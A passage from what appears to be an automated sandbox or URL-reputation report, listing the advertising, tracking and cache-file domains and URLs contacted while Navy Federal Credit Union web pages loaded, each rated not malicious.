0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252Fbranches-atms.html%3F%22%2C%22fingerprint%22%3A%22%22%2C%22fingerprintProvider%22%3A%22%22%7D	0%	Avira URL Cloud	safe
https://um.simpli.fi/nexxen	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
um.simpli.fi	35.204.74.118	true	false	unknown
p.tvpixel.com	99.83.205.94	true	false	unknown
live.rezync.com	18.238.243.70	true	false	unknown
platform.twitter.map.fastly.net	146.75.120.157	true	false	unknown
bttrack.com	192.132.33.69	true	false	unknown
crb.kargo.com	18.199.24.49	true	false	unknown
t.co	104.244.42.5	true	false	unknown
ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud	3.75.62.37	true	false	unknown
pbid.pro-market.net	107.178.240.89	true	false	unknown
www.google.com	142.250.184.196	true	false	unknown
sync.intentiq.com	18.239.69.3	true	false	unknown
idaas6.cph.liveintent.com	52.44.96.219	true	false	unknown
bcp.crwdcntrl.net	52.49.45.15	true	false	unknown
sync1.intentiq.com	18.239.69.99	true	false	unknown
match.adsrvr.org	52.223.40.198	true	false	unknown
events.api.boomtrain.com	18.211.251.153	true	false	unknown
s.twitter.com	104.244.42.67	true	false	unknown
uip.semasio.net	77.243.51.122	true	false	unknown
collectorj.tvsquared.com	52.14.63.166	true	false	unknown
d2bytcopxu066p.cloudfront.net	3.160.214.184	true	false	unknown
euw-ice.360yield.com	52.215.230.136	true	false	unknown
sync-yieldmo-com-tf-1869548451.eu-west-1.elb.amazonaws.com	34.240.251.94	true	false	unknown
brightcove.map.fastly.net	151.101.130.27	true	false	unknown
ActivationEdge-activation-212358690.eu-west-1.elb.amazonaws.com	34.252.112.229	true	false	unknown
ssum-sec.casalemedia.com	172.64.151.101	true	false	unknown
googleads.g.doubleclick.net	172.217.16.130	true	false	unknown
prod-lciapi.aws.9dev.io	54.211.255.43	true	false	unknown
partners-alb-1113315349.us-east-1.elb.amazonaws.com	34.236.18.253	true	false	unknown
mid.rkdms.com	54.85.195.106	true	false	unknown
public-prod-dspcookiematching.dmxleo.com	188.65.124.66	true	false	unknown
pugm-amsfpairbc.pubmnet.com	198.47.127.19	true	false	unknown
px0.pbbl.co	35.190.76.233	true	false	unknown
adservice.google.com	142.250.186.34	true	false	unknown
i.ibb.co	162.19.58.158	true	false	unknown
drs4arwg3y39c.cloudfront.net	18.239.18.40	true	false	unknown
insight.adsrvr.org	52.223.40.198	true	false	unknown
scontent.xx.fbcdn.net	157.240.252.13	true	false	unknown
idsync.rlcdn.com	35.244.174.68	true	false	unknown
d32t1bob6d76al.cloudfront.net	13.32.27.111	true	false	unknown
dmp.truoptik.com	104.17.127.254	true	false	unknown
utt.impactcdn.com	35.186.249.72	true	false	unknown
dualstack.osff.map.fastly.net	151.101.66.217	true	false	unknown
io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com	52.70.157.54	true	false	unknown
am-vip001.taboola.com	141.226.228.48	true	false	unknown
pixel.tapad.com	34.111.113.62	true	false	unknown
rtb-csync-euw2.smartadserver.com	149.202.238.104	true	false	unknown
pippio.com	107.178.254.65	true	false	unknown
ad.doubleclick.net	216.58.206.70	true	false	unknown
s.amazon-adsystem.com	52.46.151.131	true	false	unknown
tag-terraform-elb-1705565586.eu-central-1.elb.amazonaws.com	3.76.144.165	true	false	unknown
fei.pro-market.net	107.178.240.89	true	false	unknown
metrics.brightcove.com	35.244.232.184	true	false	unknown
track2.securedvisit.com	54.84.230.88	true	false	unknown
delicious-decorous-army.glitch.me	18.210.59.152	true	false	unknown
1605158521.rsc.cdn77.org	212.102.56.182	true	false	unknown
b.videoamp.com	54.88.101.193	true	false	unknown
lb.mediarithmics.com	54.36.150.187	true	false	unknown
adserver-logmodule-prod-nlb-v17-49f63daf8a61d3c8.elb.eu-central-1.amazonaws.com	52.28.91.150	true	false	unknown
ib.anycast.adnxs.com	185.89.210.122	true	false	unknown
edge.gycpi.b.yahoodns.net	87.248.119.252	true	false	unknown
uipus.semasio.net	50.57.31.206	true	false	unknown
eu-eb2.3lift.com	76.223.111.18	true	false	unknown
cm.g.doubleclick.net	142.250.185.130	true	false	unknown
dt9s2nur7u2e9.cloudfront.net	18.239.69.60	true	false	unknown
idaas-ext.cph.liveintent.com	107.21.124.38	true	false	unknown
sync.1rx.io	46.228.174.117	true	false	unknown
star-mini.c10r.facebook.com	157.240.0.35	true	false	unknown
d8ghbpr3r4dzt.cloudfront.net	18.239.18.108	true	false	unknown
nydc1.outbrain.org	64.202.112.255	true	false	unknown
us-u.openx.net	35.244.159.8	true	false	unknown
sync.rfp.fout.jp	35.186.196.148	true	false	unknown
dh29jf0q5erm3.cloudfront.net	18.239.69.67	true	false	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
prod.pinterest.global.map.fastly.net	151.101.192.84	true	false	unknown
envoy-hl.envoy-csync1.core-b8mf.ov1o.com	35.214.185.183	true	false	unknown
io.narrative.io	52.49.81.5	true	false	unknown
sb.scorecardresearch.com	18.65.39.70	true	false	unknown
td.doubleclick.net	216.58.212.130	true	false	unknown
trkn.us	104.115.82.33	true	false	unknown
usersync.samplicio.us	35.156.5.22	true	false	unknown
dart.l.doubleclick.net	142.250.185.166	true	false	unknown
tagr-pixel-nginx-odr-euw4.mookie1.com	34.160.236.64	true	false	unknown
l2.io	195.80.159.133	true	false	unknown
people.api.boomtrain.com	52.54.118.196	true	false	unknown
user-data-eu.bidswitch.net	35.214.149.91	true	false	unknown
usersync.gumgum.com	34.247.233.198	true	false	unknown
dg2iu7dxxehbo.cloudfront.net	18.172.103.101	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
adobetarget.data.adobedc.net	66.235.152.225	true	false	unknown
us-central1-adaptive-growth.cloudfunctions.net	216.239.36.54	true	false	unknown
i.simpli.fi	35.204.89.238	true	false	unknown
cdn.pdst.fm	35.244.142.80	true	false	unknown
dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	54.171.118.212	true	false	unknown
raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com	34.242.54.113	true	false	unknown
tag.simpli.fi	35.204.89.238	true	false	unknown
brightcove.hs.llnwd.net	41.63.96.0	true	false	unknown
navyfederal.org.ssl.d1.sc.omtrdc.net	63.140.39.22	true	false	unknown
dsum-sec.casalemedia.com	104.18.36.155	true	false	unknown
pixelapi-east.cs.mysamba.tv	54.196.238.50	true	false	unknown
s.ad.smaato.net	18.239.94.101	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ad.doubleclick.net/activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html?	false	Avira URL Cloud: safe	unknown
https://collector-11598.tvsquared.com/tv2track.php?action_name=Navy%20Federal%20Credit%20Union%20%7C%20Banking%2C%20Loans%2C%20Mortgages%20%26%20Credit%20Cards%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=270625&h=18&m=45&s=58&url=https%3A%2F%2Fwww.navyfederal.org%2F&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=578	false	Avira URL Cloud: safe	unknown
https://collector-11598.tvsquared.com/tv2track.php?action_name=Find%20a%20Credit%20Union%20or%20ATM%20Near%20You%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=425240&h=18&m=46&s=16&url=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1046	false	Avira URL Cloud: safe	unknown
https://dsum-sec.casalemedia.com/rrum?cm_dsp_id=198&external_user_id=rfcgc0VPTx-MfjRMJxOFOw&cb=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DindexHMT%26id%3D	false	Avira URL Cloud: safe	unknown
https://s.amazon-adsystem.com/ecm3?ex=yieldmoHMT&id=QKgTnQyQRDSeGLrmn4OV6w	false	Avira URL Cloud: safe	unknown
https://s.amazon-adsystem.com/ecm3?ex=telaria.com&id=6d9f1ca49fc6424c8d48d9194e42ee06	false	Avira URL Cloud: safe	unknown
https://sync.bfmio.com/sync?pid=141&uid=4F23F6C2C1D4438DAA81302CEEAB3C45	false	Avira URL Cloud: safe	unknown
about:blank	false	Avira URL Cloud: safe	unknown
https://match.adsrvr.org/track/cmf/generic?ttd_pid=tapad	false		unknown
https://px0.pbbl.co/ns/__p2.gif?ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&chk=true&brid=2779&brcid=&email=&orderId=&orderValue=&productId=&offerCode=&label=&pageUrl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&referrerUrl=&targetUrl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&sessionId=19471654271041955080390332448085131267&markerType=seg&rand=SZvKJIhCHPwBR9E8&iabOptOut=-&jsVer=3.2.1&frVer=1.2&markerId=815430	false	Avira URL Cloud: safe	unknown
https://ib.adnxs.com/setuid/a9?entity=188&code=wCkBr523Tkqf1J4YPCC1Ww&redir=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DxandrHMT%26id%3D%24UID	false	Avira URL Cloud: safe	unknown
https://cms.analytics.yahoo.com/cms?partner_id=DATCS	false	Avira URL Cloud: safe	unknown
https://s.amazon-adsystem.com/ecm3?ex=openxHMT&id=IU6Tn8pARVKPmCDwMrtS3Q	false	Avira URL Cloud: safe	unknown
https://ad.doubleclick.net/activity;register_conversion=1;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html?	false	Avira URL Cloud: safe	unknown
https://js.adsrvr.org/up_loader.1.1.0.js	false	URL Reputation: safe	unknown
https://i.simpli.fi/p?cid=463774&cb=sifi_att_20021453318._hp	false	Avira URL Cloud: safe	unknown
https://load77.exelator.com/pixel.gif	false	URL Reputation: safe	unknown
https://metrics.brightcove.com/v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&event=player_init&time=1716590800169&autoplay=false&seq=0	false	Avira URL Cloud: safe	unknown
https://match.adsrvr.org/track/cmf/generic?ttd_pid=bluekai	false	URL Reputation: safe	unknown
https://odr.mookie1.com/t/v2?tagid=V2_393725&AMAZON_REGION_SPECIFIC_ENDPOINT=s.amazon-adsystem.com&src.visitorID=QuQQgT4bTdi8lt4D-bUJOw	false	Avira URL Cloud: safe	unknown
https://cdn.pbbl.co/i/pp.html	false		unknown
https://pixel.tapad.com/idsync/ex/receive?partner_id=2305&partner_device_id=4F23F6C2C1D4438DAA81302CEEAB3C45	false	Avira URL Cloud: safe	unknown
https://um.simpli.fi/yahoo	false	Avira URL Cloud: safe	unknown
https://nfcu.demdex.net/dest5.html?d_nsid=0	false	Avira URL Cloud: safe	unknown
https://um.simpli.fi/exelatem	false	Avira URL Cloud: safe	unknown
https://t.co/i/adsct?bci=5&eci=2&event_id=8fad9e17-f0ed-4f21-a9c5-07970eb80917&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30	false	Avira URL Cloud: safe	unknown
https://www.navyfederal.org/branches-atms.html	false		unknown
https://sync.targeting.unrulymedia.com/csync/RX-ed36a9b1-6e82-4f97-bcc6-221866ea94df-003	false	Avira URL Cloud: safe	unknown
https://image6.pubmatic.com/AdServer/UCookieSetPug?rd=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dpubmatic.com%26id%3D%23PM_USER_ID	false	Avira URL Cloud: safe	unknown
https://d.agkn.com/pixel/10751/?che=1716590766951&ip=8.46.123.175&l1=https%3A%2F%2Fum.simpli.fi%2Faa_px%3Fsk%3D219933204892004054749	false	Avira URL Cloud: safe	unknown
https://aa.agkn.com/adscores/g.pixel?sid=9212282598&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&iid=41c189dc-0747-403e-98b2-97aff675ae2c&ona=	false	Avira URL Cloud: safe	unknown
https://io.narrative.io/?io.narrative.guid.v2=82e29350-1a1f-11ef-9ca9-06213b35132f&companyId=127&id=ttd_id:00d6b47b-5df0-41e1-812e-c334ebaa9abf&red=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dazhe26g	false	Avira URL Cloud: safe	unknown
https://sb.scorecardresearch.com/p?c1=9&c2=27552257&r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dcomscore.com%26id%3D%25AX_UUID%25	false	Avira URL Cloud: safe	unknown
https://io.narrative.io/?companyId=127&id=ttd_id:00d6b47b-5df0-41e1-812e-c334ebaa9abf&red=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dazhe26g	false	Avira URL Cloud: safe	unknown
https://match.adsrvr.org/track/cmf/generic?ttd_pid=yjn0gup	false		unknown
https://p.tvpixel.com/com.snowplowanalytics.snowplow/tp2	false	Avira URL Cloud: safe	unknown
https://us-u.openx.net/w/1.0/sd?id=537072966&val=4F23F6C2C1D4438DAA81302CEEAB3C45	false	Avira URL Cloud: safe	unknown
https://s.amazon-adsystem.com/ecm3?id=y-goL7EHNE2pFaKpW2Ux_9vNNKPSAFiysXjOrE~A&status=OK&ex=gemini	false	Avira URL Cloud: safe	unknown
https://s.amazon-adsystem.com/ecm3?ex=pubmaticHMT&id=8HqdmD-3T2Kfc3JXiy0NuQ	false	Avira URL Cloud: safe	unknown
https://sync.1rx.io/usersync/simplifi/4F23F6C2C1D4438DAA81302CEEAB3C45?zcc=1&cb=1716590767056	false	Avira URL Cloud: safe	unknown
https://adservice.google.com/ddm/fls/z/dc_pre=CKCDt4evp4YDFSohBgAdDGcAEg;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=*;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html	false	Avira URL Cloud: safe	unknown
https://sync.taboola.com/sg/amazon-a9-network/1/rtb	false	Avira URL Cloud: safe	unknown
https://metrics.brightcove.com/v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&autoplay=false&ads_enabled=false&event=catalog_response&url=https%3A%2F%2Fedge.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F5289441629001%2Fvideos%2F5368522558001&time=1716590801913&response_time_ms=1741&seq=3	false	Avira URL Cloud: safe	unknown
https://bttrack.com/engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22aafbf16b-f44b-4ef0-9b6d-fd431d3a508f%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A2%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCPmR_PKup4YDFT1vQQId598InA%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6213689762165%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D893322139%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%3F%22%2C%22fingerprint%22%3A%22%22%2C%22fingerprintProvider%22%3A%22%22%7D	false	Avira URL Cloud: safe	unknown
https://um.simpli.fi/ox_match	false	URL Reputation: safe	unknown
https://adservice.google.com/ddm/fls/z/dc_pre=CPmT-vKup4YDFd50QQIdxWULrA;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=*;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F	false	Avira URL Cloud: safe	unknown
https://cookie-matching.mediarithmics.com/v1/get_or_create?gdpr=0&domid=1109	false	Avira URL Cloud: safe	unknown
https://live.rezync.com/sync?c=16b6410431b6374e780104abb0443ca8&p=ac2d76520490ec74c91b16b6cd806c4a&k=navy-federal-credit-union-pixel-4762&zmpID=navy-federal-credit-union&cache_buster={cache_buster}	false	Avira URL Cloud: safe	unknown
https://um.simpli.fi/bluekai	false	Avira URL Cloud: safe	unknown
https://i.liadm.com/s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590763.1485915	false	Avira URL Cloud: safe	unknown
https://analytics.twitter.com/i/adsct?bci=5&eci=2&event_id=8fad9e17-f0ed-4f21-a9c5-07970eb80917&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30	false	Avira URL Cloud: safe	unknown
https://t.co/i/adsct?bci=5&eci=2&event_id=43adeeea-ec5c-4164-a084-520844475719&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30	false	Avira URL Cloud: safe	unknown
https://cookie-matching.mediarithmics.com/input?key=APX&apx_uid=6116765264039870456&opid=apx&ops=&utidl=&action=GET_ID&etid=&domid=1109	false	Avira URL Cloud: safe	unknown
https://fei.pro-market.net/user?du=24;csync=4F23F6C2C1D4438DAA81302CEEAB3C45;mimetype=img;	false	Avira URL Cloud: safe	unknown
https://us-u.openx.net/w/1.0/sd?id=537072986&val=IU6Tn8pARVKPmCDwMrtS3Q&r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DopenxHMT%26id%3D%7BOPENX_RTB_USERID%7D	false	Avira URL Cloud: safe	unknown
https://um.simpli.fi/ad_advisor	false	Avira URL Cloud: safe	unknown
https://analytics.twitter.com/1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=8fe646c2-4d81-4371-ac38-dd415ddacf00&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30	false	Avira URL Cloud: safe	unknown
https://loadm.exelator.com/load/?p=204&g=2191&simid=4F23F6C2C1D4438DAA81302CEEAB3C45&j=0	false	Avira URL Cloud: safe	unknown
https://uipus.semasio.net/amazon/1/get2?_url=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dsemasio%26id%3D%24%7BUIPID%28%29%7D	false	Avira URL Cloud: safe	unknown
https://ad.doubleclick.net/activity;register_conversion=1;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html?	false	Avira URL Cloud: safe	unknown
https://utt.impactcdn.com/A4334543-ba62-4b3a-8fd7-189cf833d2dd1.js	false	Avira URL Cloud: safe	unknown
https://i.liadm.com/s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590783.1304939	false	Avira URL Cloud: safe	unknown
https://um.simpli.fi/nexxen	false	Avira URL Cloud: safe	unknown
https://px0.pbbl.co/ns/__p2.gif?ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&chk=true&brid=2779&brcid=&email=&orderId=&orderValue=&productId=&offerCode=&label=&pageUrl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&referrerUrl=&targetUrl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&sessionId=19471654271041955080390332448085131267&markerType=seg&rand=LRjIwJqHrPe2EYaa&iabOptOut=-&jsVer=3.2.1&frVer=1.2&markerId=815428	false	Avira URL Cloud: safe	unknown
https://bttrack.com/engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22f46e0e56-6062-4c7b-bbc6-b6f1e2e28664%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A3%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCNvcm_yup4YDFUlzQQId92gD5Q%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6875800667488%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D1576649674%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252Fbranches-atms.html%3F%22%2C%22fingerprint%22%3A%22%22%2C%22fingerprintProvider%22%3A%22%22%7D	false	Avira URL Cloud: safe	unknown
https://nfcu.demdex.net/dest5.html?d_nsid=0#https%3A%2F%2Fwww.navyfederal.org	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dm-assets.navyfederal.org/is/image/nfcu/martin230208nfcu00451?qlt=80&ts=1714681870823&dpr=of	chromecache_288.2.dr, chromecache_463.2.dr, chromecache_233.2.dr	false	Avira URL Cloud: safe	unknown
https://dm-assets.navyfederal.org/is/image/nfcu/gettyimages-81868496?qlt=80&ts=1707423102650&dpr=off	chromecache_288.2.dr	false	Avira URL Cloud: safe	unknown
http://g.co/dev/maps-no-account	chromecache_328.2.dr	false	URL Reputation: safe	unknown
https://accountservices.navyfederal.org/account-recovery/	chromecache_288.2.dr	false	Avira URL Cloud: safe	unknown
https://www.navyfederal.org/loans-cards/credit-cards/cash-rewards.html?intcmp=hp	chromecache_288.2.dr	false	Avira URL Cloud: safe	unknown
https://dm-assets.navyfederal.org/is/content/nfcu/atm-small-icon?ts=1689212594174&dpr=off	chromecache_463.2.dr	false	Avira URL Cloud: safe	unknown
https://dm-assets.navyfederal.org/is/content/nfcu/lock-blue?ts=1689212354357&dpr=off	chromecache_233.2.dr	false	Avira URL Cloud: safe	unknown
https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling	chromecache_328.2.dr	false	URL Reputation: safe	unknown
https://dm-assets.navyfederal.org/is/image/nfcu/TrueCar_A31635_Container?qlt=80&ts=1713887816014&fmt	chromecache_288.2.dr	false	Avira URL Cloud: safe	unknown
https://dm-assets.navyfederal.org/is/image/nfcu/mil-container-ad-celebrating-those-0224-A30995?qlt=8	chromecache_288.2.dr	false	Avira URL Cloud: safe	unknown
https://dm-assets.navyfederal.org/is/image/nfcu/martin230210nfcu10890?qlt=80&ts=1714681870823&dpr=of	chromecache_288.2.dr, chromecache_463.2.dr, chromecache_233.2.dr	false	Avira URL Cloud: safe	unknown
https://support.google.com/fusiontables/answer/9185417).	chromecache_328.2.dr	false	URL Reputation: safe	unknown
https://developers.google.com/maps/deprecations	chromecache_328.2.dr	false	URL Reputation: safe	unknown
https://dm-assets.navyfederal.org/is/content/nfcu/credit-cards-3?ts=1689212474337&dpr=off	chromecache_233.2.dr	false	Avira URL Cloud: safe	unknown
https://search-prod.navyfederal.org	chromecache_288.2.dr, chromecache_463.2.dr, chromecache_233.2.dr	false	Avira URL Cloud: safe	unknown
https://www.navyfederal.org/branches-atms/nfo-locator2/images/close.gif	chromecache_457.2.dr	false	Avira URL Cloud: safe	unknown
http://schema.org/ImageObject	chromecache_233.2.dr	false	URL Reputation: safe	unknown
https://dm-assets.navyfederal.org/is/content/nfcu/car-money-tag-arrows?ts=1713886117799&dpr=off	chromecache_288.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/piwik/piwik/blob/master/js/piwik.js	chromecache_339.2.dr	false	Avira URL Cloud: safe	unknown
https://dm-assets.navyfederal.org/is/image/nfcu/cashrewards-sig-visa-no-name?qlt=80&ts=1707423102650	chromecache_288.2.dr	false	Avira URL Cloud: safe	unknown
https://dm-assets.navyfederal.org/is/image/nfcu/neighbors-8_c1009870?qlt=80&wid=%7B.width%7D&amp	chromecache_288.2.dr	false	Avira URL Cloud: safe	unknown
https://dm-assets.navyfederal.org/is/image/nfcu/MomsDadsGrads_mobileTile_774x335?qlt=80&wid=%7B.	chromecache_288.2.dr	false	Avira URL Cloud: safe	unknown
https://i.liadm.com/s/35759?bidder_id=44489&bidder_uuid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&cb=http	chromecache_287.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/videojs/vtt.js)	chromecache_192.2.dr	false	Avira URL Cloud: safe	unknown
https://developers.google.com/maps/documentation/javascript/error-messages#unsupported-browsers	chromecache_328.2.dr	false	URL Reputation: safe	unknown
https://dm-assets.navyfederal.org/is/image/nfcu/MomsDadsGrads_mobileTile_774x335?qlt=80&ts=171389536	chromecache_288.2.dr	false	Avira URL Cloud: safe	unknown
https://dm-assets.navyfederal.org/is/image/nfcu/more-rewards-elevated-right-tilt?qlt=80&ts=171398635	chromecache_288.2.dr	false	Avira URL Cloud: safe	unknown
http://stackoverflow.com/questions/9229535/google-maps-markers-disappear-at-certain-zoom-level-only-	chromecache_457.2.dr	false	Avira URL Cloud: safe	unknown
https://developers.google.com/maps/documentation/javascript/libraries	chromecache_328.2.dr	false	URL Reputation: safe	unknown
https://dm-assets.navyfederal.org/is/content/nfcu/chat-2?ts=1701357209369&dpr=off	chromecache_233.2.dr	false	Avira URL Cloud: safe	unknown
